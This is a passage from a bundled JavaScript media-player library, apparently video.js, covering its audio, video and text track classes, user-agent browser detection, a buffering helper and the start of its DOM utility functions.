  15361. * enum VideoTrackKind {
  15362. * "alternative",
  15363. * "captions",
  15364. * "main",
  15365. * "sign",
  15366. * "subtitles",
  15367. * "commentary",
  15368. * "",
  15369. * };
  15370. */
  15371. 'use strict';
  15372. exports.__esModule = true;
  15373. var VideoTrackKind = {
  15374. alternative: 'alternative',
  15375. captions: 'captions',
  15376. main: 'main',
  15377. sign: 'sign',
  15378. subtitles: 'subtitles',
  15379. commentary: 'commentary'
  15380. };
  15381. /**
  15382. * https://html.spec.whatwg.org/multipage/embedded-content.html#dom-audiotrack-kind
  15383. *
  15384. * enum AudioTrackKind {
  15385. * "alternative",
  15386. * "descriptions",
  15387. * "main",
  15388. * "main-desc",
  15389. * "translation",
  15390. * "commentary",
  15391. * "",
  15392. * };
  15393. */
  15394. var AudioTrackKind = {
  15395. alternative: 'alternative',
  15396. descriptions: 'descriptions',
  15397. main: 'main',
  15398. 'main-desc': 'main-desc',
  15399. translation: 'translation',
  15400. commentary: 'commentary'
  15401. };
  15402. /**
  15403. * https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackkind
  15404. *
  15405. * enum TextTrackKind {
  15406. * "subtitles",
  15407. * "captions",
  15408. * "descriptions",
  15409. * "chapters",
  15410. * "metadata"
  15411. * };
  15412. */
  15413. var TextTrackKind = {
  15414. subtitles: 'subtitles',
  15415. captions: 'captions',
  15416. descriptions: 'descriptions',
  15417. chapters: 'chapters',
  15418. metadata: 'metadata'
  15419. };
  15420. /**
  15421. * https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackmode
  15422. *
  15423. * enum TextTrackMode { "disabled", "hidden", "showing" };
  15424. */
  15425. var TextTrackMode = {
  15426. disabled: 'disabled',
  15427. hidden: 'hidden',
  15428. showing: 'showing'
  15429. };
  15430. /* jshint ignore:start */
  15431. // we ignore jshint here because it does not see
  15432. // AudioTrackKind as defined here
  15433. exports['default'] = { VideoTrackKind: VideoTrackKind, AudioTrackKind: AudioTrackKind, TextTrackKind: TextTrackKind, TextTrackMode: TextTrackMode };
  15434. /* jshint ignore:end */
  15435. module.exports = exports['default'];
  15436. },{}],136:[function(_dereq_,module,exports){
  15437. /**
  15438. * @file track-list.js
  15439. */
  15440. 'use strict';
  15441. exports.__esModule = true;
  15442. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15443. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15444. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  15445. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  15446. var _eventTarget = _dereq_('../event-target');
  15447. var _eventTarget2 = _interopRequireDefault(_eventTarget);
  15448. var _utilsFnJs = _dereq_('../utils/fn.js');
  15449. var Fn = _interopRequireWildcard(_utilsFnJs);
  15450. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  15451. var browser = _interopRequireWildcard(_utilsBrowserJs);
  15452. var _globalDocument = _dereq_('global/document');
  15453. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  15454. /**
  15455. * Common functionaliy between Text, Audio, and Video TrackLists
  15456. * Interfaces defined in the following spec:
  15457. * @link https://html.spec.whatwg.org/multipage/embedded-content.html
  15458. *
  15459. * @param {Track[]} tracks A list of tracks to initialize the list with
  15460. * @param {Object} list the child object with inheritance done manually for ie8
  15461. * @extends EventTarget
  15462. * @class TrackList
  15463. */
  15464. var TrackList = (function (_EventTarget) {
  15465. _inherits(TrackList, _EventTarget);
  15466. function TrackList() {
  15467. var tracks = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  15468. var list = arguments.length <= 1 || arguments[1] === undefined ? null : arguments[1];
  15469. _classCallCheck(this, TrackList);
  15470. _EventTarget.call(this);
  15471. if (!list) {
  15472. list = this;
  15473. if (browser.IS_IE8) {
  15474. list = _globalDocument2['default'].createElement('custom');
  15475. for (var prop in TrackList.prototype) {
  15476. if (prop !== 'constructor') {
  15477. list[prop] = TrackList.prototype[prop];
  15478. }
  15479. }
  15480. }
  15481. }
  15482. list.tracks_ = [];
  15483. Object.defineProperty(list, 'length', {
  15484. get: function get() {
  15485. return this.tracks_.length;
  15486. }
  15487. });
  15488. for (var i = 0; i < tracks.length; i++) {
  15489. list.addTrack_(tracks[i]);
  15490. }
  15491. return list;
  15492. }
  15493. /**
  15494. * change - One or more tracks in the track list have been enabled or disabled.
  15495. * addtrack - A track has been added to the track list.
  15496. * removetrack - A track has been removed from the track list.
  15497. */
  15498. /**
  15499. * Add a Track from TrackList
  15500. *
  15501. * @param {Mixed} track
  15502. * @method addTrack_
  15503. * @private
  15504. */
  15505. TrackList.prototype.addTrack_ = function addTrack_(track) {
  15506. var index = this.tracks_.length;
  15507. if (!('' + index in this)) {
  15508. Object.defineProperty(this, index, {
  15509. get: function get() {
  15510. return this.tracks_[index];
  15511. }
  15512. });
  15513. }
  15514. // Do not add duplicate tracks
  15515. if (this.tracks_.indexOf(track) === -1) {
  15516. this.tracks_.push(track);
  15517. this.trigger({
  15518. track: track,
  15519. type: 'addtrack'
  15520. });
  15521. }
  15522. };
  15523. /**
  15524. * Remove a Track from TrackList
  15525. *
  15526. * @param {Track} rtrack track to be removed
  15527. * @method removeTrack_
  15528. * @private
  15529. */
  15530. TrackList.prototype.removeTrack_ = function removeTrack_(rtrack) {
  15531. var track = undefined;
  15532. for (var i = 0, l = this.length; i < l; i++) {
  15533. if (this[i] === rtrack) {
  15534. track = this[i];
  15535. if (track.off) {
  15536. track.off();
  15537. }
  15538. this.tracks_.splice(i, 1);
  15539. break;
  15540. }
  15541. }
  15542. if (!track) {
  15543. return;
  15544. }
  15545. this.trigger({
  15546. track: track,
  15547. type: 'removetrack'
  15548. });
  15549. };
  15550. /**
  15551. * Get a Track from the TrackList by a tracks id
  15552. *
  15553. * @param {String} id - the id of the track to get
  15554. * @method getTrackById
  15555. * @return {Track}
  15556. * @private
  15557. */
  15558. TrackList.prototype.getTrackById = function getTrackById(id) {
  15559. var result = null;
  15560. for (var i = 0, l = this.length; i < l; i++) {
  15561. var track = this[i];
  15562. if (track.id === id) {
  15563. result = track;
  15564. break;
  15565. }
  15566. }
  15567. return result;
  15568. };
  15569. return TrackList;
  15570. })(_eventTarget2['default']);
  15571. TrackList.prototype.allowedEvents_ = {
  15572. change: 'change',
  15573. addtrack: 'addtrack',
  15574. removetrack: 'removetrack'
  15575. };
  15576. // emulate attribute EventHandler support to allow for feature detection
  15577. for (var _event in TrackList.prototype.allowedEvents_) {
  15578. TrackList.prototype['on' + _event] = null;
  15579. }
  15580. exports['default'] = TrackList;
  15581. module.exports = exports['default'];
  15582. },{"../event-target":104,"../utils/browser.js":140,"../utils/fn.js":144,"global/document":1}],137:[function(_dereq_,module,exports){
  15583. /**
  15584. * @file track.js
  15585. */
  15586. 'use strict';
  15587. exports.__esModule = true;
  15588. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15589. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15590. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  15591. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  15592. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  15593. var browser = _interopRequireWildcard(_utilsBrowserJs);
  15594. var _globalDocument = _dereq_('global/document');
  15595. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  15596. var _utilsGuidJs = _dereq_('../utils/guid.js');
  15597. var Guid = _interopRequireWildcard(_utilsGuidJs);
  15598. var _eventTarget = _dereq_('../event-target');
  15599. var _eventTarget2 = _interopRequireDefault(_eventTarget);
  15600. /**
  15601. * setup the common parts of an audio, video, or text track
  15602. * @link https://html.spec.whatwg.org/multipage/embedded-content.html
  15603. *
  15604. * @param {String} type The type of track we are dealing with audio|video|text
  15605. * @param {Object=} options Object of option names and values
  15606. * @extends EventTarget
  15607. * @class Track
  15608. */
  15609. var Track = (function (_EventTarget) {
  15610. _inherits(Track, _EventTarget);
  15611. function Track() {
  15612. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  15613. _classCallCheck(this, Track);
  15614. _EventTarget.call(this);
  15615. var track = this;
  15616. if (browser.IS_IE8) {
  15617. track = _globalDocument2['default'].createElement('custom');
  15618. for (var prop in Track.prototype) {
  15619. if (prop !== 'constructor') {
  15620. track[prop] = Track.prototype[prop];
  15621. }
  15622. }
  15623. }
  15624. var trackProps = {
  15625. id: options.id || 'vjs_track_' + Guid.newGUID(),
  15626. kind: options.kind || '',
  15627. label: options.label || '',
  15628. language: options.language || ''
  15629. };
  15630. var _loop = function (key) {
  15631. Object.defineProperty(track, key, {
  15632. get: function get() {
  15633. return trackProps[key];
  15634. },
  15635. set: function set() {}
  15636. });
  15637. };
  15638. for (var key in trackProps) {
  15639. _loop(key);
  15640. }
  15641. return track;
  15642. }
  15643. return Track;
  15644. })(_eventTarget2['default']);
  15645. exports['default'] = Track;
  15646. module.exports = exports['default'];
  15647. },{"../event-target":104,"../utils/browser.js":140,"../utils/guid.js":146,"global/document":1}],138:[function(_dereq_,module,exports){
  15648. /**
  15649. * @file video-track-list.js
  15650. */
  15651. 'use strict';
  15652. exports.__esModule = true;
  15653. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15654. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15655. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  15656. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  15657. var _trackList = _dereq_('./track-list');
  15658. var _trackList2 = _interopRequireDefault(_trackList);
  15659. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  15660. var browser = _interopRequireWildcard(_utilsBrowserJs);
  15661. var _globalDocument = _dereq_('global/document');
  15662. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  15663. /**
  15664. * disable other video tracks before selecting the new one
  15665. *
  15666. * @param {Array|VideoTrackList} list list to work on
  15667. * @param {VideoTrack} track the track to skip
  15668. */
  15669. var disableOthers = function disableOthers(list, track) {
  15670. for (var i = 0; i < list.length; i++) {
  15671. if (track.id === list[i].id) {
  15672. continue;
  15673. }
  15674. // another audio track is enabled, disable it
  15675. list[i].selected = false;
  15676. }
  15677. };
  15678. /**
  15679. * A list of possiblee video tracks. Most functionality is in the
  15680. * base class Tracklist and the spec for VideoTrackList is located at:
  15681. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#videotracklist
  15682. *
  15683. * interface VideoTrackList : EventTarget {
  15684. * readonly attribute unsigned long length;
  15685. * getter VideoTrack (unsigned long index);
  15686. * VideoTrack? getTrackById(DOMString id);
  15687. * readonly attribute long selectedIndex;
  15688. *
  15689. * attribute EventHandler onchange;
  15690. * attribute EventHandler onaddtrack;
  15691. * attribute EventHandler onremovetrack;
  15692. * };
  15693. *
  15694. * @param {VideoTrack[]} tracks a list of video tracks to instantiate the list with
  15695. # @extends TrackList
  15696. * @class VideoTrackList
  15697. */
  15698. var VideoTrackList = (function (_TrackList) {
  15699. _inherits(VideoTrackList, _TrackList);
  15700. function VideoTrackList() {
  15701. var tracks = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  15702. _classCallCheck(this, VideoTrackList);
  15703. var list = undefined;
  15704. // make sure only 1 track is enabled
  15705. // sorted from last index to first index
  15706. for (var i = tracks.length - 1; i >= 0; i--) {
  15707. if (tracks[i].selected) {
  15708. disableOthers(tracks, tracks[i]);
  15709. break;
  15710. }
  15711. }
  15712. // IE8 forces us to implement inheritance ourselves
  15713. // as it does not support Object.defineProperty properly
  15714. if (browser.IS_IE8) {
  15715. list = _globalDocument2['default'].createElement('custom');
  15716. for (var prop in _trackList2['default'].prototype) {
  15717. if (prop !== 'constructor') {
  15718. list[prop] = _trackList2['default'].prototype[prop];
  15719. }
  15720. }
  15721. for (var prop in VideoTrackList.prototype) {
  15722. if (prop !== 'constructor') {
  15723. list[prop] = VideoTrackList.prototype[prop];
  15724. }
  15725. }
  15726. }
  15727. list = _TrackList.call(this, tracks, list);
  15728. list.changing_ = false;
  15729. Object.defineProperty(list, 'selectedIndex', {
  15730. get: function get() {
  15731. for (var i = 0; i < this.length; i++) {
  15732. if (this[i].selected) {
  15733. return i;
  15734. }
  15735. }
  15736. return -1;
  15737. },
  15738. set: function set() {}
  15739. });
  15740. return list;
  15741. }
  15742. VideoTrackList.prototype.addTrack_ = function addTrack_(track) {
  15743. var _this = this;
  15744. if (track.selected) {
  15745. disableOthers(this, track);
  15746. }
  15747. _TrackList.prototype.addTrack_.call(this, track);
  15748. // native tracks don't have this
  15749. if (!track.addEventListener) {
  15750. return;
  15751. }
  15752. track.addEventListener('selectedchange', function () {
  15753. if (_this.changing_) {
  15754. return;
  15755. }
  15756. _this.changing_ = true;
  15757. disableOthers(_this, track);
  15758. _this.changing_ = false;
  15759. _this.trigger('change');
  15760. });
  15761. };
  15762. VideoTrackList.prototype.addTrack = function addTrack(track) {
  15763. this.addTrack_(track);
  15764. };
  15765. VideoTrackList.prototype.removeTrack = function removeTrack(track) {
  15766. _TrackList.prototype.removeTrack_.call(this, track);
  15767. };
  15768. return VideoTrackList;
  15769. })(_trackList2['default']);
  15770. exports['default'] = VideoTrackList;
  15771. module.exports = exports['default'];
  15772. },{"../utils/browser.js":140,"./track-list":136,"global/document":1}],139:[function(_dereq_,module,exports){
  15773. 'use strict';
  15774. exports.__esModule = true;
  15775. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15776. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15777. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  15778. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  15779. var _trackEnums = _dereq_('./track-enums');
  15780. var _track = _dereq_('./track');
  15781. var _track2 = _interopRequireDefault(_track);
  15782. var _utilsMergeOptions = _dereq_('../utils/merge-options');
  15783. var _utilsMergeOptions2 = _interopRequireDefault(_utilsMergeOptions);
  15784. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  15785. var browser = _interopRequireWildcard(_utilsBrowserJs);
  15786. /**
  15787. * A single video text track as defined in:
  15788. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#videotrack
  15789. *
  15790. * interface VideoTrack {
  15791. * readonly attribute DOMString id;
  15792. * readonly attribute DOMString kind;
  15793. * readonly attribute DOMString label;
  15794. * readonly attribute DOMString language;
  15795. * attribute boolean selected;
  15796. * };
  15797. *
  15798. * @param {Object=} options Object of option names and values
  15799. * @class VideoTrack
  15800. */
  15801. var VideoTrack = (function (_Track) {
  15802. _inherits(VideoTrack, _Track);
  15803. function VideoTrack() {
  15804. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  15805. _classCallCheck(this, VideoTrack);
  15806. var settings = _utilsMergeOptions2['default'](options, {
  15807. kind: _trackEnums.VideoTrackKind[options.kind] || ''
  15808. });
  15809. // on IE8 this will be a document element
  15810. // for every other browser this will be a normal object
  15811. var track = _Track.call(this, settings);
  15812. var selected = false;
  15813. if (browser.IS_IE8) {
  15814. for (var prop in VideoTrack.prototype) {
  15815. if (prop !== 'constructor') {
  15816. track[prop] = VideoTrack.prototype[prop];
  15817. }
  15818. }
  15819. }
  15820. Object.defineProperty(track, 'selected', {
  15821. get: function get() {
  15822. return selected;
  15823. },
  15824. set: function set(newSelected) {
  15825. // an invalid or unchanged value
  15826. if (typeof newSelected !== 'boolean' || newSelected === selected) {
  15827. return;
  15828. }
  15829. selected = newSelected;
  15830. this.trigger('selectedchange');
  15831. }
  15832. });
  15833. // if the user sets this track to selected then
  15834. // set selected to that true value otherwise
  15835. // we keep it false
  15836. if (settings.selected) {
  15837. track.selected = settings.selected;
  15838. }
  15839. return track;
  15840. }
  15841. return VideoTrack;
  15842. })(_track2['default']);
  15843. exports['default'] = VideoTrack;
  15844. module.exports = exports['default'];
  15845. },{"../utils/browser.js":140,"../utils/merge-options":148,"./track":137,"./track-enums":135}],140:[function(_dereq_,module,exports){
  15846. /**
  15847. * @file browser.js
  15848. */
  15849. 'use strict';
  15850. exports.__esModule = true;
  15851. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15852. var _globalDocument = _dereq_('global/document');
  15853. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  15854. var _globalWindow = _dereq_('global/window');
  15855. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  15856. var USER_AGENT = _globalWindow2['default'].navigator.userAgent;
  15857. var webkitVersionMap = /AppleWebKit\/([\d.]+)/i.exec(USER_AGENT);
  15858. var appleWebkitVersion = webkitVersionMap ? parseFloat(webkitVersionMap.pop()) : null;
  15859. /*
  15860. * Device is an iPhone
  15861. *
  15862. * @type {Boolean}
  15863. * @constant
  15864. * @private
  15865. */
  15866. var IS_IPAD = /iPad/i.test(USER_AGENT);
  15867. exports.IS_IPAD = IS_IPAD;
  15868. // The Facebook app's UIWebView identifies as both an iPhone and iPad, so
  15869. // to identify iPhones, we need to exclude iPads.
  15870. // http://artsy.github.io/blog/2012/10/18/the-perils-of-ios-user-agent-sniffing/
  15871. var IS_IPHONE = /iPhone/i.test(USER_AGENT) && !IS_IPAD;
  15872. exports.IS_IPHONE = IS_IPHONE;
  15873. var IS_IPOD = /iPod/i.test(USER_AGENT);
  15874. exports.IS_IPOD = IS_IPOD;
  15875. var IS_IOS = IS_IPHONE || IS_IPAD || IS_IPOD;
  15876. exports.IS_IOS = IS_IOS;
  15877. var IOS_VERSION = (function () {
  15878. var match = USER_AGENT.match(/OS (\d+)_/i);
  15879. if (match && match[1]) {
  15880. return match[1];
  15881. }
  15882. })();
  15883. exports.IOS_VERSION = IOS_VERSION;
  15884. var IS_ANDROID = /Android/i.test(USER_AGENT);
  15885. exports.IS_ANDROID = IS_ANDROID;
  15886. var ANDROID_VERSION = (function () {
  15887. // This matches Android Major.Minor.Patch versions
  15888. // ANDROID_VERSION is Major.Minor as a Number, if Minor isn't available, then only Major is returned
  15889. var match = USER_AGENT.match(/Android (\d+)(?:\.(\d+))?(?:\.(\d+))*/i),
  15890. major,
  15891. minor;
  15892. if (!match) {
  15893. return null;
  15894. }
  15895. major = match[1] && parseFloat(match[1]);
  15896. minor = match[2] && parseFloat(match[2]);
  15897. if (major && minor) {
  15898. return parseFloat(match[1] + '.' + match[2]);
  15899. } else if (major) {
  15900. return major;
  15901. } else {
  15902. return null;
  15903. }
  15904. })();
  15905. exports.ANDROID_VERSION = ANDROID_VERSION;
  15906. // Old Android is defined as Version older than 2.3, and requiring a webkit version of the android browser
  15907. var IS_OLD_ANDROID = IS_ANDROID && /webkit/i.test(USER_AGENT) && ANDROID_VERSION < 2.3;
  15908. exports.IS_OLD_ANDROID = IS_OLD_ANDROID;
  15909. var IS_NATIVE_ANDROID = IS_ANDROID && ANDROID_VERSION < 5 && appleWebkitVersion < 537;
  15910. exports.IS_NATIVE_ANDROID = IS_NATIVE_ANDROID;
  15911. var IS_FIREFOX = /Firefox/i.test(USER_AGENT);
  15912. exports.IS_FIREFOX = IS_FIREFOX;
  15913. var IS_EDGE = /Edge/i.test(USER_AGENT);
  15914. exports.IS_EDGE = IS_EDGE;
  15915. var IS_CHROME = !IS_EDGE && /Chrome/i.test(USER_AGENT);
  15916. exports.IS_CHROME = IS_CHROME;
  15917. var IS_IE8 = /MSIE\s8\.0/.test(USER_AGENT);
  15918. exports.IS_IE8 = IS_IE8;
  15919. var IE_VERSION = (function (result) {
  15920. return result && parseFloat(result[1]);
  15921. })(/MSIE\s(\d+)\.\d/.exec(USER_AGENT));
  15922. exports.IE_VERSION = IE_VERSION;
  15923. var TOUCH_ENABLED = !!('ontouchstart' in _globalWindow2['default'] || _globalWindow2['default'].DocumentTouch && _globalDocument2['default'] instanceof _globalWindow2['default'].DocumentTouch);
  15924. exports.TOUCH_ENABLED = TOUCH_ENABLED;
  15925. var BACKGROUND_SIZE_SUPPORTED = ('backgroundSize' in _globalDocument2['default'].createElement('video').style);
  15926. exports.BACKGROUND_SIZE_SUPPORTED = BACKGROUND_SIZE_SUPPORTED;
  15927. },{"global/document":1,"global/window":2}],141:[function(_dereq_,module,exports){
  15928. /**
  15929. * @file buffer.js
  15930. */
  15931. 'use strict';
  15932. exports.__esModule = true;
  15933. exports.bufferedPercent = bufferedPercent;
  15934. var _timeRangesJs = _dereq_('./time-ranges.js');
  15935. /**
  15936. * Compute how much your video has been buffered
  15937. *
  15938. * @param {Object} Buffered object
  15939. * @param {Number} Total duration
  15940. * @return {Number} Percent buffered of the total duration
  15941. * @private
  15942. * @function bufferedPercent
  15943. */
  15944. function bufferedPercent(buffered, duration) {
  15945. var bufferedDuration = 0,
  15946. start,
  15947. end;
  15948. if (!duration) {
  15949. return 0;
  15950. }
  15951. if (!buffered || !buffered.length) {
  15952. buffered = _timeRangesJs.createTimeRange(0, 0);
  15953. }
  15954. for (var i = 0; i < buffered.length; i++) {
  15955. start = buffered.start(i);
  15956. end = buffered.end(i);
  15957. // buffered end can be bigger than duration by a very small fraction
  15958. if (end > duration) {
  15959. end = duration;
  15960. }
  15961. bufferedDuration += end - start;
  15962. }
  15963. return bufferedDuration / duration;
  15964. }
  15965. },{"./time-ranges.js":150}],142:[function(_dereq_,module,exports){
  15966. /**
  15967. * @file dom.js
  15968. */
  15969. 'use strict';
  15970. exports.__esModule = true;
  15971. exports.getEl = getEl;
  15972. exports.createEl = createEl;
  15973. exports.textContent = textContent;
  15974. exports.insertElFirst = insertElFirst;
  15975. exports.getElData = getElData;
  15976. exports.hasElData = hasElData;
  15977. exports.removeElData = removeElData;
  15978. exports.hasElClass = hasElClass;
  15979. exports.addElClass = addElClass;
  15980. exports.removeElClass = removeElClass;
  15981. exports.toggleElClass = toggleElClass;
  15982. exports.setElAttributes = setElAttributes;
  15983. exports.getElAttributes = getElAttributes;
  15984. exports.blockTextSelection = blockTextSelection;
  15985. exports.unblockTextSelection = unblockTextSelection;
  15986. exports.findElPosition = findElPosition;
  15987. exports.getPointerPosition = getPointerPosition;
  15988. exports.isEl = isEl;
  15989. exports.isTextNode = isTextNode;
  15990. exports.emptyEl = emptyEl;
  15991. exports.normalizeContent = normalizeContent;
  15992. exports.appendContent = appendContent;
  15993. exports.insertContent = insertContent;
  15994. var _templateObject = _taggedTemplateLiteralLoose(['Setting attributes in the second argument of createEl()\n has been deprecated. Use the third argument instead.\n createEl(type, properties, attributes). Attempting to set ', ' to ', '.'], ['Setting attributes in the second argument of createEl()\n has been deprecated. Use the third argument instead.\n createEl(type, properties, attributes). Attempting to set ', ' to ', '.']);
  15995. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15996. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15997. function _taggedTemplateLiteralLoose(strings, raw) { strings.raw = raw; return strings; }
  15998. var _globalDocument = _dereq_('global/document');
  15999. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  16000. var _globalWindow = _dereq_('global/window');
  16001. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  16002. var _guidJs = _dereq_('./guid.js');
  16003. var Guid = _interopRequireWildcard(_guidJs);
  16004. var _logJs = _dereq_('./log.js');
  16005. var _logJs2 = _interopRequireDefault(_logJs);
  16006. var _tsml = _dereq_('tsml');
  16007. var _tsml2 = _interopRequireDefault(_tsml);
  16008. /**
  16009. * Detect if a value is a string with any non-whitespace characters.
  16010. *
  16011. * @param {String} str
  16012. * @return {Boolean}
  16013. */
  16014. function isNonBlankString(str) {
  16015. return typeof str === 'string' && /\S/.test(str);
  16016. }
  16017. /**
  16018. * Throws an error if the passed string has whitespace. This is used by
  16019. * class methods to be relatively consistent with the classList API.
  16020. *
  16021. * @param {String} str
  16022. * @return {Boolean}
  16023. */
  16024. function throwIfWhitespace(str) {
  16025. if (/\s/.test(str)) {
  16026. throw new Error('class has illegal whitespace characters');
  16027. }
  16028. }
  16029. /**
  16030. * Produce a regular expression for matching a class name.
  16031. *
  16032. * @param {String} className
  16033. * @return {RegExp}
  16034. */
  16035. function classRegExp(className) {
  16036. return new RegExp('(^|\\s)' + className + '($|\\s)');
  16037. }
  16038. /**
  16039. * Creates functions to query the DOM using a given method.
  16040. *
  16041. * @function createQuerier
  16042. * @private
  16043. * @param {String} method
  16044. * @return {Function}
  16045. */
  16046. function createQuerier(method) {
  16047. return function (selector, context) {
  16048. if (!isNonBlankString(selector)) {
  16049. return _globalDocument2['default'][method](null);
  16050. }
  16051. if (isNonBlankString(context)) {
  16052. context = _globalDocument2['default'].querySelector(context);
  16053. }
  16054. return (isEl(context) ? context : _globalDocument2['default'])[method](selector);
  16055. };
  16056. }
  16057. /**
  16058. * Shorthand for document.getElementById()
  16059. * Also allows for CSS (jQuery) ID syntax. But nothing other than IDs.
  16060. *
  16061. * @param {String} id Element ID
  16062. * @return {Element} Element with supplied ID
  16063. * @function getEl
  16064. */
  16065. function getEl(id) {
  16066. if (id.indexOf('#') === 0) {
  16067. id = id.slice(1);
  16068. }
  16069. return _globalDocument2['default'].getElementById(id);
  16070. }
  16071. /**
  16072. * Creates an element and applies properties.
  16073. *
  16074. * @param {String} [tagName='div'] Name of tag to be created.
  16075. * @param {Object} [properties={}] Element properties to be applied.
  16076. * @param {Object} [attributes={}] Element attributes to be applied.
  16077. * @return {Element}
  16078. * @function createEl
  16079. */
  16080. function createEl() {
  16081. var tagName = arguments.length <= 0 || arguments[0] === undefined ? 'div' : arguments[0];
  16082. var properties = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  16083. var attributes = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
  16084. var el = _globalDocument2['default'].createElement(tagName);
  16085. Object.getOwnPropertyNames(properties).forEach(function (propName) {
  16086. var val = properties[propName];
  16087. // See #2176
  16088. // We originally were accepting both properties and attributes in the
  16089. // same object, but that doesn't work so well.
  16090. if (propName.indexOf('aria-') !== -1 || propName === 'role' || propName === 'type') {
  16091. _logJs2['default'].warn(_tsml2['default'](_templateObject, propName, val));
  16092. el.setAttribute(propName, val);
  16093. } else {
  16094. el[propName] = val;
  16095. }
  16096. });
  16097. Object.getOwnPropertyNames(attributes).forEach(function (attrName) {
  16098. var val = attributes[attrName];
  16099. el.setAttribute(attrName, attributes[attrName]);
  16100. });
  16101. return el;
  16102. }
  16103. /**
  16104. * Injects text into an element, replacing any existing contents entirely.
  16105. *
  16106. * @param {Element} el
  16107. * @param {String} text
  16108. * @return {Element}
  16109. * @function textContent
  16110. */
  16111. function textContent(el, text) {
  16112. if (typeof el.textContent === 'undefined') {
  16113. el.innerText = text;
  16114. } else {
  16115. el.textContent = text;
  16116. }
  16117. }
  16118. /**
  16119. * Insert an element as the first child node of another
  16120. *
  16121. * @param {Element} child Element to insert
  16122. * @param {Element} parent Element to insert child into
  16123. * @private
  16124. * @function insertElFirst
  16125. */
  16126. function insertElFirst(child, parent) {
  16127. if (parent.firstChild) {
  16128. parent.insertBefore(child, parent.firstChild);
  16129. } else {
  16130. parent.appendChild(child);
  16131. }
  16132. }
  16133. /**
  16134. * Element Data Store. Allows for binding data to an element without putting it directly on the element.
  16135. * Ex. Event listeners are stored here.
  16136. * (also from jsninja.com, slightly modified and updated for closure compiler)
  16137. *
  16138. * @type {Object}
  16139. * @private
  16140. */
  16141. var elData = {};
  16142. /*
  16143. * Unique attribute name to store an element's guid in
  16144. *
  16145. * @type {String}
  16146. * @constant
  16147. * @private
  16148. */
